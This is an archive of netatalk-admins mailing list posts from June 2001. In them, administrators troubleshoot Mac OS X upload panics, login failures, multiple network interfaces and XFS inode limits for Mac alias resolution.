	Mon, 4 Jun 2001 10:46:42 -0400
From: <boris@range.infoplease.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15131.40785.996394.710805@griddle.infoplease.com>
Date: Mon, 4 Jun 2001 10:46:41 -0400
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
Cc: <boris@range.infoplease.com>, netatalk-admins@umich.edu
Subject: Re: MacOS X vs Linux HELP.
In-Reply-To: <a04310100b73edec09774@[192.168.1.201]>
References: <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
	<Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
	<15127.63914.43307.377207@griddle.infoplease.com>
	<a04310100b73edec09774@[192.168.1.201]>
X-Mailer: VM 6.84 under Emacs 21.0.96.1
X-Attribution: Bng

>>>>> Lorenzo Perone writes:

LP> Among the posts here, one points out a phenomenon that made me
LP> stop using OSX and netatalk 1.4pre37_test (since with OS9, pre39
LP> or 1.5p6 works better to me): OSX panics when uploading files... I
LP> was using 10.0.1. Sometimes it took some time before the panic
LP> occurred. But it was almost sure it would pop up when uploading
LP> thousands of files.

I wrote:
>> No guarantees, but I'm using this combination and it is working pretty
>> well.

LP> Are You using 10.0.3, and did You ever experience the panic? I'd
LP> like to give the OSX-monster a new try, but as every launching
LP> operation on this OS takes ages, being forced to reboot @ every
LP> upload isn't really a bargain.... (also considering that OS9.1 has
LP> never been as stable as it is now, on my G4...).

Yes, 10.0.3, and no panic (since we stopped trying to use NIS,
anyway).  But our usage is more single-file-at-a-time for editing, not
copying batches of thousands of files across the atalk connection.

Bng


From netatalk.administrators-errors@umich.edu  Mon Jun  4 12:59:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA03045
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Jun 2001 12:59:22 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA00344
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Jun 2001 12:59:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id MAA00325
	for netatalk.administrators-members@umich.edu; Mon, 4 Jun 2001 12:59:12 -0400 (EDT)
Received: from kirkham.ewind.com (kirkham.ewind.com [209.10.232.132])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id MAA00291
	for <netatalk-admins@umich.edu>; Mon, 4 Jun 2001 12:59:10 -0400 (EDT)
Received: (from hchan@localhost)
	by kirkham.ewind.com (8.9.3/8.9.3) id JAA23335;
	Mon, 4 Jun 2001 09:58:03 -0700
Date: Mon, 4 Jun 2001 09:58:03 -0700
From: Hoover Chan <hchan@mail.ewind.com>
Message-Id: <200106041658.JAA23335@kirkham.ewind.com>
To: brian@megapump.com, pecus@netvisao.pt
Subject: Re: MacOS X vs Linux HELP.
Cc: netatalk-admins@umich.edu

re: 1.4xx works with Mac OS X

Unfortunately, I had problems with this combination which were the same
as the ones I had with 1.5pre6 and Mac OS X.

Pointer to a configuration that works for 1.4xx and Mac OS X?

Thanks.

-----------------------------------------------------------------
Hoover Chan                hchan@mail.ewind.com  -or-  hchan@well.com
Eastwind Associates


From netatalk.administrators-errors@umich.edu  Mon Jun  4 15:13:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA07910
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 4 Jun 2001 15:13:16 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20481
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 4 Jun 2001 15:13:06 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA20455
	for netatalk.administrators-members@umich.edu; Mon, 4 Jun 2001 15:13:05 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA20405
	for <netatalk-admins@umich.edu>; Mon, 4 Jun 2001 15:13:03 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.2/linuxconf) with ESMTP id f54JD8P13383;
	Mon, 4 Jun 2001 15:13:09 -0400
Sender: jeff@univrel.pr.uconn.edu
Message-ID: <3B1BDDA6.CD9BFEBB@univrel.pr.uconn.edu>
Date: Mon, 04 Jun 2001 15:12:38 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.18 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>
CC: boris@range.infoplease.com, netatalk-admins@umich.edu,
        netatalk-devel@lists.sourceforge.net
Subject: Re: MacOS X vs Linux HELP.
References: <Pine.LNX.4.33.0106011958200.664-100000@fingers.rnl.ist.utl.pt>
	 <Pine.LNX.4.21.0106011237540.10641-100000@mail.megapump.com>
	 <15127.63914.43307.377207@griddle.infoplease.com> <a04310100b73edec09774@[192.168.1.201]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Lorenzo Perone wrote:
-- SNIP --
> Earlier on this list, an Apple engeneer pointed out that
> one of the problems is related to the 'close fork' call.
> Recently I found a message on the netatalk-devel list
> (to which I have not subscribed yet - just read
> sometimes), which could have some sort of an answer to
> the problem.
> I am not experienced in patching C source, but maybe for
> those accustomed to it this is worth a look:
> 
> http://marc.theaimsgroup.com/?l=netatalk-devel&m=98678741702935&w=2

I've just integrated this patch into the tree, since it didn't seem to
cause any problems here. I'm not sure if it will help with that problem,
since I don't have any Mac OS X clients to test this with.

With apologies for the cross-posting to the devel list,
Jeff

From netatalk.administrators-errors@umich.edu  Tue Jun  5 00:24:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA25834
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Jun 2001 00:24:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA06740
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Jun 2001 00:24:56 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id AAA06720
	for netatalk.administrators-members@umich.edu; Tue, 5 Jun 2001 00:24:55 -0400 (EDT)
Received: from gort.metaparadigm.com ([203.117.131.2])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id AAA06626
	for <netatalk-admins@umich.edu>; Tue, 5 Jun 2001 00:24:53 -0400 (EDT)
Received: from metaparadigm.com (dhcp-00496.ofs.edu.sg [10.1.2.240])
        (authenticated (0 bits))
        by gort.metaparadigm.com (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) with ESMTP id f554Ojj3025723;
	Tue, 5 Jun 2001 12:24:47 +0800
Sender: mclark@metaparadigm.com
Message-ID: <3B1C5F11.8B3D3056@metaparadigm.com>
Date: Tue, 05 Jun 2001 12:24:49 +0800
From: Michael Clark <michael@metaparadigm.com>
Organization: Metaparadigm Pte Ltd
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.5 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu, netatalk-devel@lists.sourceforge.net
CC: michael@metaparadigm.com
Subject: Presetting Folder Icons on Unix side
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

I'm trying to work out how to preset Folder icons (on the Unix side) for
a whole bunch of users directorys (too many to do manually from the Mac
side). I'd then like to write a script to place Icon^M files and
resources automatically into users directories.

I've had a go at duplicating a another folder's (with icon) Icon^M and
.AppleDouble/Icon^M files and placing them into a new folder - problem
is the icon doesn't take - i guess its not supprising as the icon
resources are probably folder specific.

Anyone had any luck doing anything like this.

Maybe there could be an option on the netatalk server to match a folder
name and provide a specifc icon. Does the netalk already have the
ability to do this. ie the volume icon ??

~mc

-- 
Michael Clark,  . . . . . . . . . . . .  michael@metaparadigm.com
Metaparadigm Pte. Ltd.  . . . . . . . . . .  phone: +65 9645 9612
25F Paterson Road, Singapore 238515  . . . . .  fax: +65 733 8825

From netatalk.administrators-errors@umich.edu  Tue Jun  5 03:53:13 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA00599
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Jun 2001 03:53:13 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA20732
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Jun 2001 03:53:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA20724
	for netatalk.administrators-members@umich.edu; Tue, 5 Jun 2001 03:53:02 -0400 (EDT)
Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA20708
	for <netatalk-admins@umich.edu>; Tue, 5 Jun 2001 03:53:01 -0400 (EDT)
Received: from fwd01.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 157BeI-0006eL-0B; Tue, 05 Jun 2001 09:53:10 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.88.74]) by fmrl01.sul.t-online.com
	with esmtp id 157BeG-1ki5lgC; Tue, 5 Jun 2001 09:53:08 +0200
Mime-Version: 1.0
Message-Id: <a05100300b7423ed8ce41@[192.168.0.33]>
Date: Tue, 5 Jun 2001 09:53:53 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Can't log in as user but as guest
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA00599

Hi,
setting up a new linux box (suse 7.1) I've installed the 1.5 pre6.rpm

I made 2 test-directories, the first with access:@group (where all 
the useres are in) the the second with no options.

- I can log in as guest to the second
- I can't log in in the first ("password not correct" - but it is in fact)
- I don't see the server in chooser but can connect by typing the ip. 
(I've tried "modprobe appletalk" what I've read in the archive, but 
... the same)

Any ideas?

From netatalk.administrators-errors@umich.edu  Tue Jun  5 06:22:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA04602
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Jun 2001 06:22:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16131
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Jun 2001 06:22:18 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id GAA16121
	for netatalk.administrators-members@umich.edu; Tue, 5 Jun 2001 06:22:18 -0400 (EDT)
Received: from nernst.chem.gla.ac.uk (nernst.chem.gla.ac.uk [130.209.221.174])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id GAA16095
	for <netatalk-admins@umich.edu>; Tue, 5 Jun 2001 06:22:16 -0400 (EDT)
Received: from london.chem.gla.ac.uk ([130.209.221.166] ident=jonp)
	by nernst.chem.gla.ac.uk with esmtp (Exim 2.02 #2)
	id 157DyY-00019g-00; Tue, 5 Jun 2001 11:22:14 +0100
Received: from localhost (jonp@localhost)
	by london.chem.gla.ac.uk (8.9.1b+Sun/8.9.1) with ESMTP id LAA22279;
	Tue, 5 Jun 2001 11:21:47 +0100 (BST)
X-Authentication-Warning: london.chem.gla.ac.uk: jonp owned process doing -bs
Date: Tue, 5 Jun 2001 11:21:47 +0100 (BST)
From: Jonathan Paisley <jonp@chem.gla.ac.uk>
To: jeff <jeff@univrel.pr.uconn.edu>
cc: Lorenzo Perone <lopez.on.the.lists@yellowspace.net>,
        <boris@range.infoplease.com>, <netatalk-admins@umich.edu>,
        <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] Re: MacOS X vs Linux HELP.
In-Reply-To: <3B1BDDA6.CD9BFEBB@univrel.pr.uconn.edu>
Message-ID: <Pine.SOL.4.33.0106051116500.22160-100000@london.chem.gla.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 4 Jun 2001, jeff wrote:

Apologies for cross-posting.

This patch that you've just committed seems to me to be fixing the same
problem as

http://sourceforge.net/tracker/index.php?func=detail&aid=408249&group_id=8642&atid=308642

[which IMHO fixes the problem more thoroughly]
I thought you had already added this patch in time for 1.5pre6?

The full original message had the subject line
	[PATCH] Problem with afpd unexpectedly dying (still)

I can't access the list archives at the moment to provide a URL since
geocrawler says it's down for db maintenance.

Thanks.

jp

> Lorenzo Perone wrote:
> -- SNIP --
> > Earlier on this list, an Apple engeneer pointed out that
> > one of the problems is related to the 'close fork' call.
> > Recently I found a message on the netatalk-devel list
> > (to which I have not subscribed yet - just read
> > sometimes), which could have some sort of an answer to
> > the problem.
> > I am not experienced in patching C source, but maybe for
> > those accustomed to it this is worth a look:
> >
> > http://marc.theaimsgroup.com/?l=netatalk-devel&m=98678741702935&w=2
>
> I've just integrated this patch into the tree, since it didn't seem to
> cause any problems here. I'm not sure if it will help with that problem,
> since I don't have any Mac OS X clients to test this with.
>
> With apologies for the cross-posting to the devel list,
> Jeff
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
>

-- 
Jonathan Paisley
jonp@chem.gla.ac.uk


From netatalk.administrators-errors@umich.edu  Tue Jun  5 19:07:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA02319
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 5 Jun 2001 19:07:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA27951
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 5 Jun 2001 19:07:21 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA27937
	for netatalk.administrators-members@umich.edu; Tue, 5 Jun 2001 19:07:20 -0400 (EDT)
Received: from s1.uklinux.net (ns1.uklinux.net [212.1.130.11])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA27901
	for <netatalk-admins@umich.edu>; Tue, 5 Jun 2001 19:07:19 -0400 (EDT)
Received: from 212.1.152.243 (ppp-1-243.cvx5.telinco.net [212.1.152.243])
	by s1.uklinux.net (8.11.2/8.11.1) with ESMTP id f55N7ET13013
	for <netatalk-admins@umich.edu>; Wed, 6 Jun 2001 00:07:14 +0100
Envelope-To: <netatalk-admins@umich.edu>
Date: Tue,  5 Jun 2001 23:51:07 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Multiple ethernet interfaces
To: netatalk-admins@umich.edu
X-Priority: 3
In-Reply-To: <Pine.LNX.4.30.0105171117020.19342-100000@beacon.beaconschool.org>
Message-ID: <20010605235231-r01010600-9afcdc75@212.1.152.243>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

I have eth0, eth1 and eth2 interfaces on a VALinux Debian box (a pretty
cool 2250 server).

I'm writing this from memory, but I think my atalkd.conf file has the
single line "eth0". Can I simply add the other interfaces on separate
lines?

Thanks for any help
Rory

From netatalk.administrators-errors@umich.edu  Wed Jun  6 09:13:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA28342
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Jun 2001 09:13:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06420
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Jun 2001 09:13:50 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id JAA06417
	for netatalk.administrators-members@umich.edu; Wed, 6 Jun 2001 09:13:49 -0400 (EDT)
Received: from mailout03.sul.t-online.de (mailout03.sul.t-online.com [194.25.134.81])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id JAA06405
	for <netatalk-admins@umich.edu>; Wed, 6 Jun 2001 09:13:47 -0400 (EDT)
Received: from fwd04.sul.t-online.de 
	by mailout03.sul.t-online.de with smtp 
	id 157d86-0002gN-0H; Wed, 06 Jun 2001 15:13:46 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.91.18]) by fmrl04.sul.t-online.com
	with esmtp id 157d84-0x5JXkC; Wed, 6 Jun 2001 15:13:44 +0200
Mime-Version: 1.0
Message-Id: <a0510030bb743dc46f0c9@[192.168.0.33]>
Date: Wed, 6 Jun 2001 15:14:14 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: new question: Can't log in as user but as guest
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA28342

Hi,
setting up a new linux box (suse 7.1) I've installed the 1.5 pre6.rpm

I made 2 test-directories, the first with access:@group (where all 
the useres are in) the the second with no options.

- I can log in as guest to the second
- I can't log in in the first ("password not correct" - but it is in fact)
- I don't see the server in chooser but can connect by typing the ip. 
(I've tried "modprobe appletalk" what I've read in the archive, but 
... the same)

In /var/log/messages/warn I found some entries like afpd   error 
could not dlopen /lib/security/pam_pwdb.so  no such file
and in deed: there's no such file...

Is this the reason for "no login" as user??
How can I make it working?

From netatalk.administrators-errors@umich.edu  Wed Jun  6 14:44:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA10492
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 6 Jun 2001 14:44:04 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04287
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 6 Jun 2001 14:43:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04278
	for netatalk.administrators-members@umich.edu; Wed, 6 Jun 2001 14:43:53 -0400 (EDT)
Received: from graphpoint.com (atlmail2.webhosting.interliant.com [209.235.64.225])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04264
	for <netatalk-admins@umich.edu>; Wed, 6 Jun 2001 14:43:52 -0400 (EDT)
Date: Wed,  6 Jun 2001 14:36:26 -0400
Message-Id: <200106061436.AA1568866800@graphpoint.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
To: <netatalk-admins@umich.edu>
Subject: Re: Aliases:  Are alternate filesystems worth trying?
X-Mailer: <IMail v6.05>

Thank you all so much for the explanations and leads on understanding the issue of aliases/DID's/files/etc.

A few notes so far:

Linux Kernel-2.4.5-XFS appears to be a stable platform for netatalk.  Download the full source tree from SGI's CVS (this will ensure that you're getting the 2.4.5 kernel).  Know that this pre-patched XFS-cabable kernel distrib from SGI is missing two key files from linux/drivers/scsi/aic7xxx (Adaptec driver).  These files are aic7xxx_reg.h and aic7xxx_seq.h.  Find these files from the kernel.org distrib of the stock 2.4.5 -- and only this version, as the Adaptec driver underwent a major patch between the 2..4.4 and 2.4.5 kernels.

Remember to compile the utilities as well, and lower your alias/DID problems by lowering your inode count on XFS by creating the filesystem with this command:  mkfs.xfs -i -size=2048 /dev/whatever.  The the -size subdirective is really asking for a ratio of inodes to to fs blocks.  With Linux XFS frozen at 4k blocks, by asking for 2048 bytes here, your telling the system to be made with roughly 2 inodes per block instead of the built-in default of -size=256 giving you 16 inodes per 4k block.  That would quickly bust the 16,777,216 inode limit addressable in the 24 inode-dedicated bits in the current alias mapping scheme (which you get when you don't invoke --enable-lastdid in ./configure).

I noticed in the CVS this morning that Jeff had added the new configure option on --with-did={last,mtab).  The mtab option points to an implementation of Bob Rogers scheme to devote more of the alias address space to inodes (raised to 28 bits?  29 bits? from the current 24).

Does anyone know if the implementation is complete, i.e. that the new afpd.mtab file is being read, and this new dev-inode scheme is active and usable if --with-did=mtab is specified?

Regards,
Richard


From netatalk.administrators-errors@umich.edu  Thu Jun  7 01:26:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id BAA28757
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 01:26:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA00668
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 01:26:10 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id BAA00656
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 01:26:10 -0400 (EDT)
Received: from graphpoint.com (atlmail2.webhosting.interliant.com [209.235.64.225])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id BAA00640
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 01:26:08 -0400 (EDT)
Date: Thu,  7 Jun 2001 01:18:31 -0400
Message-Id: <200106070118.AA1441202690@graphpoint.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
To: <netatalk-admins@umich.edu>
Subject: Re: Aliases:  Are alternate filesystems worth trying?
X-Mailer: <IMail v6.05>

Well, gotta retract a few things here, sorry folks:

If an XFS volume is created as I've suggested (in this case on a 36GB raid 5 md), the "df -i" command reports that I have 4,480,192 inodes to play with -- certainly less than the 16,777,216 that can be encoded in an alias.

However, after stress-testing and adding about 100,000 new files and directories to the raid, I have inode numbers higher than 16,777,216, which is not safe.  Matthew Geier, I believe, had mentioned that XFS inodes may "encode a disk address..." and not be members of a fixed pool.

So, off to some other filesystem.  Any comments on Reiser or ext2 with regards to putting a limit on total inodes (and of course where and inode number won't exceed in value, the total number of inodes)?

By the way... here's how you can see the inode encoding within an alias:

Using Apple's resedit, open the alias resource and look at the six hex digits beginning with position 73.  These six digits, when converted to binary (4 bits apiece) and appended to each other, yield the 24 bit binary equivalent of the decimal value of the inode (such as from the "ls -i filename" or "stat filename" commands).

It also appears, at least as of the CVS from the morning of June 6 (PDT), the new mtab stuff isn't having an impact on the encoding.

-- Richard

---------- Original Message ----------------------------------
From: "Richard Goldman" <rgml@graphpoint.com>
Reply-To: <rgml@graphpoint.com>
Date: Wed,  6 Jun 2001 14:36:26 -0400

>Thank you all so much for the explanations and leads on understanding the issue of aliases/DID's/files/etc.
>
>A few notes so far:
>
>Linux Kernel-2.4.5-XFS appears to be a stable platform for netatalk.  Download the full source tree from SGI's CVS (this will ensure that you're getting the 2.4.5 kernel).  Know that this pre-patched XFS-cabable kernel distrib from SGI is missing two key files from linux/drivers/scsi/aic7xxx (Adaptec driver).  These files are aic7xxx_reg.h and aic7xxx_seq.h.  Find these files from the kernel.org distrib of the stock 2.4.5 -- and only this version, as the Adaptec driver underwent a major patch between the 2..4.4 and 2.4.5 kernels.
>
>Remember to compile the utilities as well, and lower your alias/DID problems by lowering your inode count on XFS by creating the filesystem with this command:  mkfs.xfs -i -size=2048 /dev/whatever.  The the -size subdirective is really asking for a ratio of inodes to to fs blocks.  With Linux XFS frozen at 4k blocks, by asking for 2048 bytes here, your telling the system to be made with roughly 2 inodes per block instead of the built-in default of -size=256 giving you 16 inodes per 4k block.  That would quickly bust the 16,777,216 inode limit addressable in the 24 inode-dedicated bits in the current alias mapping scheme (which you get when you don't invoke --enable-lastdid in ./configure).
>
>I noticed in the CVS this morning that Jeff had added the new configure option on --with-did={last,mtab).  The mtab option points to an implementation of Bob Rogers scheme to devote more of the alias address space to inodes (raised to 28 bits?  29 bits? from the current 24).
>
>Does anyone know if the implementation is complete, i.e. that the new afpd.mtab file is being read, and this new dev-inode scheme is active and usable if --with-did=mtab is specified?
>
>Regards,
>Richard
>
>

From netatalk.administrators-errors@umich.edu  Thu Jun  7 03:41:15 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA01901
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 7 Jun 2001 03:41:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA00757
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 7 Jun 2001 03:41:15 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA00753
	for netatalk.administrators-members@umich.edu; Thu, 7 Jun 2001 03:41:14 -0400 (EDT)
Received: from mail.euc.de (mail.euc.de [195.63.193.18])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA00735
	for <netatalk-admins@umich.edu>; Thu, 7 Jun 2001 03:41:13 -0400 (EDT)
Received: from euc.de (euc-punktum.euc.de [195.63.193.116])
	by mail.euc.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id JAA15026;
	Thu, 7 Jun 2001 09:41:08 +0200
Message-ID: <3B1F3015.12C84E70@euc.de>
Date: Thu, 07 Jun 2001 09:34:41 +0200
From: Mac Conin <mconin@euc.de>
Organization: EUC Online Service GmbH
X-Mailer: Mozilla 4.7 (Macintosh; I; PPC)
X-Accept-Language: en
MIME-Version: 1.0
To: rgml@graphpoint.com
CC: netatalk-admins@umich.edu
Subject: Re: Aliases:  Are alternate filesystems worth trying?
References: <200106070118.AA1441202690@graphpoint.com>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id DAA01901

We' re running 1.56 on suse 7.1 (kernel 2.4) and a raid system of ~200GB
df -i shows

Filesystem            Inodes   IUsed   IFree IUse% Mounted on
/dev/sda1             102592   32103   70489   32% /
/dev/sda3            4294967295       0 4294967295    0% /data1
/dev/sdb1            4294967295       0 4294967295    0% /data2

and it works, (with little backdraws  resulting from a presumed misconf.
by mayself)


Richard Goldman wrote:
> 
> Well, gotta retract a few things here, sorry folks:
> 
> If an XFS volume is created as I've suggested (in this case on a 36GB raid 5 md), the "df -i" command reports that I have 4,480,192 inodes to play with -- certainly less than the 16,777,216 that can be encoded in an alias.
> 
> However, after stress-testing and adding about 100,000 new files and directories to the raid, I have inode numbers higher than 16,777,216, which is not safe.  Matthew Geier, I believe, had mentioned that XFS inodes may "encode a disk address..." and not be members of a fixed pool.
> 
> So, off to some other filesystem.  Any comments on Reiser or ext2 with regards to putting a limit on total inodes (and of course where and inode number won't exceed in value, the total number of inodes)?
> 
> By the way... here's how you can see the inode encoding within an alias:
> 
> Using Apple's resedit, open the alias resource and look at the six hex digits beginning with position 73.  These six digits, when converted to binary (4 bits apiece) and appended to each other, yield the 24 bit binary equivalent of the decimal value of the inode (such as from the "ls -i filename" or "stat filename" commands).
> 
